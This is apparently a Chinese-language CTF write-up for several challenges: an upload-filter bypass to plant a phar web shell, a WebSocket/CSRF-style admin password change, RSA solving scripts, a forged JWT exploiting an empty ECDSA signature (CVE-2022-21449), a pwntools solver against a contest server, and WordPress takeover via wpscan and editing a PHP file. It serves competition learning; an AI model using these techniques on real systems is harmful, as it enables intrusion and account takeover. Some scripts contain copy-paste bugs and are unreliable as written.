Flag值:
flag{we1come_t0_qwb_s6}
经过多次上传试验发现只能上传图片格式的文件,php、php5等格式的文件无法上传,但是可以利用.或者. . 绕过从而上传成功,但是蚁剑无法连接
经过多次试探,发现phar文件可以上传(需要验证文件类型,改成jpg格式即可)并成功连接
往上翻目录,找到flag
flag值:
flag{5d3c9f27-e8fe-4e5d-9a2d-4e907a32adec}
先注册一个账号,是一个聊天机器人,按照提示发送help
有两个功能,一个是changepw更改密码,一个是向管理员提交漏洞
试了试XSS,好像没什么用 Burp抓包,是websocket通信
百度搜索到websocket劫持漏洞
再结合更改密码+管理员身份,根据做题经验猜测是想办法更改管理员密码,从而拿到管理员权限。
于是就有了一个方向,很类似于Csrf,开始着手准备。
需要想办法让管理员去点击我们构造的更改密码的界面
将之放在外网服务器上,在漏洞提交界面,也就是通过bugreport 向管理员提交
从而造成管理员在其本地访问这个页面并发送了更改密码的指令
然后我们再登录管理员账户,成功
还有一层,购买个hint,发现是源代码
进行代码审计,burp抓包
成功得到flag
flag值:
flag{617a3096-f514-4e7d-9472-e98924fbbec7}
import gmpy2
n= 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
a=gmpy2.iroot(n, 2)
print(a)
先用gmpy2对n进行开方
得到a (就是标准的n)
a=2872432989693854281918578458293603200587306199407874717707522587993136874097838265650829958344702997782980206004276973399784460125581362617464018665640001
然后用yafu对这个数进行分解
得到
p = 260594583349478633632570848336184053653
q = 223213222467584072959434495118689164399
运行脚本解得m
import gmpy2
from Crypto.Util.number import *
p = 260594583349478633632570848336184053653
q = 223213222467584072959434495118689164399
#r = 218566259296037866647273372633238739089
#s = 225933944608558304529179430753170813347
e=3
phi=p*(p-1)*q*(q-1)
d=inverse(e,phi)
n=p*p*q*q
c=945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
m=pow(c,d,n)
#mm1 = 1248984295174749683050825615411469211061247361327166117293032213981703895553936323127707213641064897178474925251326429742817744892644764737209862
flag = m.to_bytes(64,byteorder='big')
print(m)
flag值
flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}
JWT和ECDSA签名
TOKEN由三部分构成,heaerd的base64,payload的base64,Signature(签名)
根据给的源码可知header内容没有变化,payload里面我们要让username等于administrator,同时具有管理员权限()
根据它给出的token ,我们base64解码,得到header和payload:
{"typ":"JWT","alg":"myES"}
{"iss":"qwb","name":"administrator","admin":false,"exp":1659241547664}
把payload改成
{"iss":"qwb","name":"administrator","admin":true,"exp":165924154766400}
同时根据源码和ecdsa的特性,我们把jwt第三部分改成base64过去是乱码的’AAA=’
得到新的token
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiYWRtaW5pc3RyYXRvciIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkyNDE1NDc2NjQwMH0=.AAA=
Flag值
flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}
task.py里表明服务器上有两层解密,第一层是已知sha256和部分明文,求前四位明文,直接爆破可以得到;
import hashlib
ss = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
txt2 = "T9up62MRPNfO53WN"
sha256enc="ab79fb51140b7edd2b9010e0c5a4f4fe3ff73c68c17f5fb1264de03b0388cda7"
key=txt2
for a in ss:
for b in ss:
for c in ss:
for d in ss:
code = a+b+c+d
encinfo = hashlib.sha256(bytes( (code+key).encode() ) ).hexdigest()
if encinfo == sha256enc:
print(code)
print(encinfo)
break
第二层是40次多项式计算,同样采用爆破的思路。
Poly2.py里面的函数和定义给了我们多项式的乘法和加法,简单分析后可得,题中多项式的乘法和除法仅保留了系数为1的单项式,利用给出的多项式第三个定义,同时观察题目得最高次数为14,b(x)最高次数为7,这里爆破到七层循环基本上就全部能解出来b(x)
得到单个求b(x)的脚本;
class Polynomial2():
'''
模二多项式环,定义方式有三种
一是从高到低给出每一项的系数
>>> Polynomial2([1,1,0,1])
x^3 + x^2 + 1
二是写成01字符串形式
>>> Polynomial2('1101')
x^3 + x^2 + 1
三是直接给出系数为1的项的阶
>>> Poly([3,1,4])
x^4 + x^3 + x
>>> Poly([]) # 加法元
0
>>> Poly(0) # 乘法元
1
>>> Poly(1,2) * Poly(2,3)
x^5 + x^3
'''
def __init__(self, ll):
if type(ll) == str:
ll = list(map(int, ll))
self.param = ll[::-1]
self.ones = [i for i in range(len(self.param)) if self.param[i] == 1] # 系数为1的项的阶数列表
self.Latex = self.latex()
self.b = ''.join([str(i) for i in ll]) # 01串形式打印系数
self.order = 0 # 最高阶
try:
self.order = max(self.ones)
except:
pass
def format(self, reverse=True):
'''
格式化打印字符串
默认高位在左
reverse = False时,低位在左
但是注意定义多项式时只能高位在右
'''
r = ''
if len(self.ones) == 0:
return '0'
if reverse:
return (
(' + '.join(f'x^{i}' for i in self.ones[::-1]) + ' ').replace('x^0', '1').replace('x^1 ', 'x ')).strip()
return ((' + '.join(f'x^{i}' for i in self.ones) + ' ').replace('x^0', '1').replace('x^1 ', 'x ')).strip()
def __call__(self, x):
'''
懒得写了,用不到
'''
print(f'call({x})')
def __add__(self, other):
'''
多项式加法
'''
a, b = self.param[::-1], other.param[::-1]
if len(a) < len(b): a, b = b, a
for i in range(len(a)):
try:
a[-1 - i] = (b[-1 - i] + a[-1 - i]) % 2
except:
break
return Polynomial2(a)
def __mul__(self, other):
'''
多项式乘法
'''
a, b = self.param[::-1], other.param[::-1]
r = [0 for i in range(len(a) + len(b) - 1)]
for i in range(len(b)):
if b[-i - 1] == 1:
if i != 0:
sa = a + [0] * i
else:
sa = a
sa = [0] * (len(r) - len(sa)) + sa
# r += np.array(sa)
# r %= 2
r = [(r[t] + sa[t]) % 2 for t in range(len(r))]
return Polynomial2(r)
def __sub__(self, oo):
# 模二多项式环,加减相同
return self + oo
def __repr__(self) -> str:
return self.format()
def __str__(self) -> str:
return self.format()
def __pow__(self, a):
# 没有大数阶乘的需求,就没写快速幂
t = Polynomial2([1])
for i in range(a):
t *= self
return t
def latex(self, reverse=True):
'''
Latex格式打印...其实就是给两位及以上的数字加个括号{}
'''
def latex_pow(x):
if len(str(x)) <= 1:
return str(x)
return '{' + str(x) + '}'
r = ''
if len(self.ones) == 0:
return '0'
if reverse:
return (' + '.join(f'x^{latex_pow(i)}' for i in self.ones[::-1]) + ' ').replace('x^0', '1').replace(' x^1 ',
' x ').strip()
return (' + '.join(f'x^{latex_pow(i)}' for i in self.ones) + ' ').replace('x^0', '1').replace(' x^1 ',
' x ').strip()
def __eq__(self, other):
return self.ones == other.ones
def __lt__(self, other):
return max(self.ones) < max(other.ones)
def __le__(self, other):
return max(self.ones) <= max(other.ones)
def Poly(*args):
'''
另一种定义方式
Poly([3,1,4]) 或 Poly(3,1,4)
'''
if len(args) == 1 and type(args[0]) in [list, tuple]:
args = args[0]
if len(args) == 0:
return Polynomial2('0')
ll = [0 for i in range(max(args) + 1)]
for i in args:
ll[i] = 1
return Polynomial2(ll[::-1])
PP = Polynomial2
P = Poly
# 简化名称,按长度区分 P 和 PP
if __name__ == '__main__':
pr = Poly([14,13,12,8,5,2,0])
pa = Poly([7,6,4,3,2])
pc = Poly([6,4,0])
for a in range(8):
bx = Poly(a)
if(bx * pa + pc == pr):
print(bx)
break
for a in range(8):
for b in range(a+1,8):
bx = Poly(a,b)
ccx = bx * pa
if(bx * pa + pc == pr):
print(bx)
break
for a in range(8):
for b in range(a+1,8):
for c in range(b+1,8):
bx = Poly(a,b,c)
ccx= bx * pa
if(bx * pa + pc == pr):
print(bx)
break
for a in range(8):
for b in range(a+1,8):
for c in range(b+1,8):
for d in range(c+1,8):
bx = Poly(a,b,c,d)
ccx = bx * pa
if(bx * pa + pc == pr):
print(bx)
break
for a in range(8):
for b in range(a+1,8):
for c in range(b+1,8):
for d in range(c+1,8):
for e in range(d+1,8):
bx = Poly(a,b,c,d,e)
ccx = bx * pa
if(bx * pa + pc == pr):
print(bx)
break
for a in range(8):
for b in range(a+1,8):
for c in range(b+1,8):
for d in range(c+1,8):
for e in range(d+1,8):
for f in range(e+1,8):
ccx = bx * pa
bx = Poly(a,b,c,d,e,f)
if(bx * pa + pc == pr):
print(bx)
break
for a in range(8):
for b in range(a+1,8):
for c in range(b+1,8):
for d in range(c+1,8):
for e in range(d+1,8):
for f in range(e+1,8):
for g in range(f+1,8):
ccx = bx * pa
bx = Poly(a,b,c,d,e,f,g)
if(bx * pa + pc == pr):
print(bx)
break
for a in range(8):
for b in range(a+1,8):
for c in range(b+1,8):
for d in range(c+1,8):
for e in range(d+1,8):
for f in range(e+1,8):
for g in range(f+1,8):
for h in range(g+1,8):
ccx = bx * pa
bx = Poly(a,b,c,d,e,f,g,h)
if(bx * pa + pc == pr):
print(bx)
break
for a in range(8):
for b in range(a + 1, 8):
for c in range(b + 1, 8):
for d in range(c + 1, 8):
for e in range(d + 1, 8):
for f in range(e + 1, 8):
for g in range(f + 1, 8):
for h in range(g + 1, 8):
for i in range(h+1,8):
ccx = bx * pa
bx = Poly(a, b, c, d, e, f, g, h,i)
if (bx * pa + pc == pr):
print(bx)
break
题目中有40次循环,手动输入太慢,写一个自动提交的脚本:
import hashlib
from pwn import *
ss = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
def talk_with_server(known, shaenc):
for a in ss:
for b in ss:
for c in ss:
for d in ss:
code = a + b + c + d
# print(type(code))
encinfo = hashlib.sha256(bytes((code + known).encode())).hexdigest()
if encinfo == shaenc:
print('code', code)
print(encinfo)
return code
class Polynomial2():
'''
模二多项式环,定义方式有三种
一是从高到低给出每一项的系数
>>> Polynomial2([1,1,0,1])
x^3 + x^2 + 1
二是写成01字符串形式
>>> Polynomial2('1101')
x^3 + x^2 + 1
三是直接给出系数为1的项的阶
>>> Poly([3,1,4])
x^4 + x^3 + x
>>> Poly([]) # 加法元
0
>>> Poly(0) # 乘法元
1
>>> Poly(1,2) * Poly(2,3)
x^5 + x^3
'''
def __init__(self, ll):
if type(ll) == str:
ll = list(map(int, ll))
self.param = ll[::-1]
self.ones = [i for i in range(len(self.param)) if self.param[i] == 1] # 系数为1的项的阶数列表
self.Latex = self.latex()
self.b = ''.join([str(i) for i in ll]) # 01串形式打印系数
self.order = 0 # 最高阶
try:
self.order = max(self.ones)
except:
pass
def format(self, reverse=True):
'''
格式化打印字符串
默认高位在左
reverse = False时,低位在左
但是注意定义多项式时只能高位在右
'''
r = ''
if len(self.ones) == 0:
return '0'
if reverse:
return (
(' + '.join(f'x^{i}' for i in self.ones[::-1]) + ' ').replace('x^0', '1').replace('x^1 ', 'x ')).strip()
return ((' + '.join(f'x^{i}' for i in self.ones) + ' ').replace('x^0', '1').replace('x^1 ', 'x ')).strip()
def __call__(self, x):
'''
懒得写了,用不到
'''
print(f'call({x})')
def __add__(self, other):
'''
多项式加法
'''
a, b = self.param[::-1], other.param[::-1]
if len(a) < len(b): a, b = b, a
for i in range(len(a)):
try:
a[-1 - i] = (b[-1 - i] + a[-1 - i]) % 2
except:
break
return Polynomial2(a)
def __mul__(self, other):
'''
多项式乘法
'''
a, b = self.param[::-1], other.param[::-1]
r = [0 for i in range(len(a) + len(b) - 1)]
for i in range(len(b)):
if b[-i - 1] == 1:
if i != 0:
sa = a + [0] * i
else:
sa = a
sa = [0] * (len(r) - len(sa)) + sa
# r += np.array(sa)
# r %= 2
r = [(r[t] + sa[t]) % 2 for t in range(len(r))]
return Polynomial2(r)
def __sub__(self, oo):
# 模二多项式环,加减相同
return self + oo
def __repr__(self) -> str:
return self.format()
def __str__(self) -> str:
return self.format()
def __pow__(self, a):
# 没有大数阶乘的需求,就没写快速幂
t = Polynomial2([1])
for i in range(a):
t *= self
return t
def latex(self, reverse=True):
'''
Latex格式打印...其实就是给两位及以上的数字加个括号{}
'''
def latex_pow(x):
if len(str(x)) <= 1:
return str(x)
return '{' + str(x) + '}'
r = ''
if len(self.ones) == 0:
return '0'
if reverse:
return (' + '.join(f'x^{latex_pow(i)}' for i in self.ones[::-1]) + ' ').replace('x^0', '1').replace(' x^1 ',
' x ').strip()
return (' + '.join(f'x^{latex_pow(i)}' for i in self.ones) + ' ').replace('x^0', '1').replace(' x^1 ',
' x ').strip()
def __eq__(self, other):
return self.ones == other.ones
def __lt__(self, other):
return max(self.ones) < max(other.ones)
def __le__(self, other):
return max(self.ones) <= max(other.ones)
def Poly(*args):
'''
另一种定义方式
Poly([3,1,4]) 或 Poly(3,1,4)
'''
if len(args) == 1 and type(args[0]) in [list, tuple]:
args = args[0]
if len(args) == 0:
return Polynomial2('0')
ll = [0 for i in range(max(args) + 1)]
for i in args:
ll[i] = 1
return Polynomial2(ll[::-1])
PP = Polynomial2
P = Poly
# 简化名称,按长度区分 P 和 PP
def get_bx(r1, a1, c1):
# pr = Poly([14,13,11,10,9,3,1,0])
# pa = Poly([7,3,1,0])
# pc = Poly([6,5,2,1])
# r = {}
# a = {}
# c = {}
# lenR = input("R len")
# for i in range(int(lenR)):
# r[i] = input()
# lenA = input("A len")
# for i in range(int(lenA)):
# a[i] = input()
# lenC = input('C len')
# for i in range(int(lenC)):
# c[i] = input()
pr = Poly(r1)
pa = Poly(a1)
pc = Poly(c1)
print(pr)
for a in range(8):
bx = Poly(a)
if (bx * pa + pc == pr):
print(bx)
return bx
for a in range(8):
for b in range(a + 1, 8):
bx = Poly(a, b)
ccx = bx * pa
if (bx * pa + pc == pr):
print(bx)
return bx
for a in range(8):
for b in range(a + 1, 8):
for c in range(b + 1, 8):
bx = Poly(a, b, c)
ccx = bx * pa
if (bx * pa + pc == pr):
print(bx)
return bx
for a in range(8):
for b in range(a + 1, 8):
for c in range(b + 1, 8):
for d in range(c + 1, 8):
bx = Poly(a, b, c, d)
ccx = bx * pa
if (bx * pa + pc == pr):
print(bx)
return bx
for a in range(8):
for b in range(a + 1, 8):
for c in range(b + 1, 8):
for d in range(c + 1, 8):
for e in range(d + 1, 8):
bx = Poly(a, b, c, d, e)
ccx = bx * pa
if (bx * pa + pc == pr):
print(bx)
return bx
for a in range(8):
for b in range(a + 1, 8):
for c in range(b + 1, 8):
for d in range(c + 1, 8):
for e in range(d + 1, 8):
for f in range(e + 1, 8):
bx = Poly(a, b, c, d, e, f)
ccx = bx * pa
bx = Poly(a, b, c, d, e, f)
if (bx * pa + pc == pr):
print(bx)
return bx
for a in range(8):
for b in range(a + 1, 8):
for c in range(b + 1, 8):
for d in range(c + 1, 8):
for e in range(d + 1, 8):
for f in range(e + 1, 8):
for g in range(f + 1, 8):
bx = Poly(a, b, c, d, e, f, g)
ccx = bx * pa
bx = Poly(a, b, c, d, e, f, g)
if (bx * pa + pc == pr):
print(bx)
return bx
for a in range(8):
for b in range(a + 1, 8):
for c in range(b + 1, 8):
for d in range(c + 1, 8):
for e in range(d + 1, 8):
for f in range(e + 1, 8):
for g in range(f + 1, 8):
for h in range(g + 1, 8):
bx = Poly(a, b, c, d, e, f, g, h)
ccx = bx * pa
bx = Poly(a, b, c, d, e, f, g, h)
if (bx * pa + pc == pr):
print(bx)
return bx
for a in range(8):
for b in range(a + 1, 8):
for c in range(b + 1, 8):
for d in range(c + 1, 8):
for e in range(d + 1, 8):
for f in range(e + 1, 8):
for g in range(f + 1, 8):
for h in range(g + 1, 8):
for i in range(h + 1, 8):
# bx = Poly(a, b, c, d, e, f,g,h,i)
ccx = bx * pa
bx = Poly(a, b, c, d, e, f, g, h, i)
if (bx * pa + pc == pr):
print(bx)
return bx
tableR = ['x^14 ', 'x^13 ', 'x^12 ', 'x^11 ', 'x^10 ', 'x^9 ', 'x^8 ', 'x^7 ', 'x^6 ', 'x^5 ', 'x^4 ', 'x^3 ', 'x^2 ',
'x ', '1']
tableR1 = ['x^14', 'x^13', 'x^12', 'x^11', 'x^10', 'x^9', 'x^8', 'x^7', 'x^6', 'x^5', 'x^4', 'x^3', 'x^2',
'x', '1']
tableA = ['x^7 ', 'x^6 ', 'x^5 ', 'x^4 ', 'x^3 ', 'x^2 ', 'x ', '1']
tableA1 = ['x^7', 'x^6', 'x^5', 'x^4', 'x^3', 'x^2', 'x', '1']
tableC = ['x^6 ', 'x^5 ', 'x^4 ', 'x^3 ', 'x^2 ', 'x ', '1']
tableC1 = ['x^6', 'x^5', 'x^4', 'x^3', 'x^2', 'x', '1']
def parse_polyR(r, ply):
ply = str(ply)
for i in range(15):
if ply.startswith(tableR[i]) and not ply.endswith(tableR1[i]):
if ply.startswith(tableR[i]):
r[i] = 14 - i
ply = ply[len(tableR[i]) + 2:]
if ply.endswith(tableR1[i]):
r[i] = 14 - i
def parse_polyA(a, ply):
ply = str(ply)
for i in range(8):
if ply.startswith(tableA[i]) and not ply.endswith(tableA1[i]):
if ply.startswith(tableA[i]):
a[i] = 7 - i
ply = ply[len(tableA[i]) + 2:]
if ply.endswith(tableA1[i]):
a[i] = 7 - i
def parse_polyC(c, ply):
ply = str(ply)
for i in range(7):
if ply.startswith(tableC[i]) and not ply.endswith(tableC1[i]):
if ply.startswith(tableC[i]):
c[i] = 6 - i
ply = ply[len(tableC[i]) + 2:]
if ply.endswith(tableC1[i]):
c[i] = 6 - i
if __name__ == '__main__':
a1 = {}
r1 = {}
c1 = {}
p = remote("182.92.223.176", 25342)
p.recvuntil("sha256(XXXX+")
given = str(p.recv(16).strip())
print('given', given, type(given), len(given))
given = given[2:-1]
print('given', given, type(given), len(given))
p.recv(5)
sha256enc = str(p.recv(
64))
sha256enc = sha256enc[2:-1]
print(given, sha256enc)
print(p.recvuntil(" XXXX:"))
XXXX = talk_with_server(given, sha256enc)
print(XXXX)
p.sendline(str(XXXX))
j = 0
while j < 45:
rx = str(p.recvline())
print(rx)
if j > 0:
print(str(rx[9:-3]))
parse_polyR(r1, str(rx[9:-3]))
else:
print(str(rx[10:-3]))
parse_polyR(r1, str(rx[10:-3]))
ax = str(p.recvline())
print(ax)
print(str(ax[9:-3]))
cx = str(p.recvline())
print(cx)
print(str(cx[9:-3]))
j += 1
parse_polyA(a1, str(ax[9:-3]))
parse_polyC(c1, str(cx[9:-3]))
print('rx:', type(r1.values()), list(r1.values()))
print('ax-:', a1.values())
print('cx-:', c1.values())
p.recvline()
bx = get_bx(list(r1.values()), list(a1.values()), list(c1.values()))
print(bx)
p.sendline(str(bx))
print(p.recvline())
print('done', j)
a1 = {}
r1 = {}
c1 = {}
Flag值
flag{c0923e5c-805c-42e3-91c3-160dceb41979
提示flag在504页面,让网页响应时间超时就行。拿了网上的payload改了一下
Flag值
flag{467e093c-08a5-4925-bdb8-cfa9eaa4506b}
这道题目题目进入后有一些提示,安装Wordpress后,使用wpscan工具扫描
扫描得到用户名,MaoGePaMao
得到密码为:MaoGeYaoQiFeiLa
进入后台
得到密码后进入后台管理,修改其中一个php文件,保存后访问